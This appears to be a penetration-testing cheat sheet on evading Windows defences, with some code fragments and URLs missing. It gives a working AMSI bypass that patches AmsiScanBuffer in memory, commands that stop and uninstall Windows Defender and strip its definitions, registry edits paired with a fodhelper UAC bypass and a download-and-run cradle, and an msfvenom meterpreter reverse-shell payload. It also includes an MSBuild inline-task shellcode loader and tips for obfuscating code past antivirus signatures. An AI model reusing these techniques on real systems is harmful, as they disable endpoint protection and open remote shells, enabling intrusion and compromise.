Get-WinEvent "Microsoft-Windows-Windows Defender/Operational' | Where-Object Id -eq 1116 | Format-List


AMSI supports:

  • Memory and Stream scanning

  • Content Source/ IP reputation checks

  • File scanning

AMSI is integrated with:

  • UAC

  • PS Scripts

  • Windows Scripts (wscript.exe & cscript.exe)

  • JS & VBS

  • Office VBA Macros

Techniques to Bypass AMSI

  1. Patching AMSI.dll

  2. Using Powershell version 2

Patching amsi.dll AmsiScanBuffer

#By rasta-mouse

$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    public static extern IntPtr LoadLibrary(string name);

    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);


Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Some of the public Powershell AMSI bypasses just don`t work for loaded .NET binaries.

#These bypasses have signatures by AVs now, and need to be used with obfuscation.

#Requires Admin Access
#May not be recognized in shell. Only in PSRemote
Set-MpPreference -DisableRealTimeMonitoring $true
Invoke-Command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess

#Matt Graeber bypass


Import-Module ./Invoke-CradleCrafter.psd1

#Amsi & Autologging bypass

Registry Modifications

  • Requires admin privileges.

  • To be used with UAC Bypass

  • AMSI Bypass in new PS process.

#Create new registry entry & delete original AMSI entry value
New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; 
Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse

#Automate using UAC Bypass - fodhelper
iex (New-Object Net.WebClient).DownloadString('');helper -custom "cmd.exe /c powershell New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse; cmd.exe /c powershell  <Command>"

Obfuscation of Code

1. Use for an AMSI Bypass/ Remove comments if using a script using ISE Steroids.
2. If detected, use AMSITrigger to identify signatures.
3. For strings, use concatenation to bypass. For function names etc, change the names using Invoke-Obfuscation.
#Installing ISE-Steroids
Install-Module -Name "ISESteroids" -Scope CurrentUser -Repository PSGallery -Force

#Remove Comments[]

Convert Powershell script to .exe

iex (iwr -UseBasicParsing); iex (iwr -UseBasicParsing)


Encoded Malicious Executable

  • Create malicious shell code :

    msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.xx.xx LPORT=1339 -e x86/shikata_ga_nai -i 100 -f csharp
  • Append output to shellcode.xml(Below).

    • Insert into the function: public override bool Execute()

<Project ToolsVersion="4.0" xmlns="">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
      <Code Type="Class" Language="cs">
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
          public override bool Execute()
            byte[] shellcode = new byte[<--INSERT BYTES HERE -->] {
              <-- Insert-SHELL-CODE HERE!! --> };
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;

Modifying Covenant Grunts

Key is to identify trigger points with ThreatCheck. Note that ThreatCheck shows only one trigger at a time, so this is an iterative process.

Disable Windows Defender

Disable Defender
cd "c:\PROGRA~1\Windows Defender\"
.\mpcmdrun.exe -RemoveDefinitions -All

sc query WinDefend
sc stop WinDefend

Set-MpPreference -DisableRealtimeMonitoring $true

Uninstall-WindowsFeature -Name Windows-Defender

Modifying Executables

Automates the process of splitting a binary and utilizing defender itself to scan until it pinpoints the triggering signature.

Last updated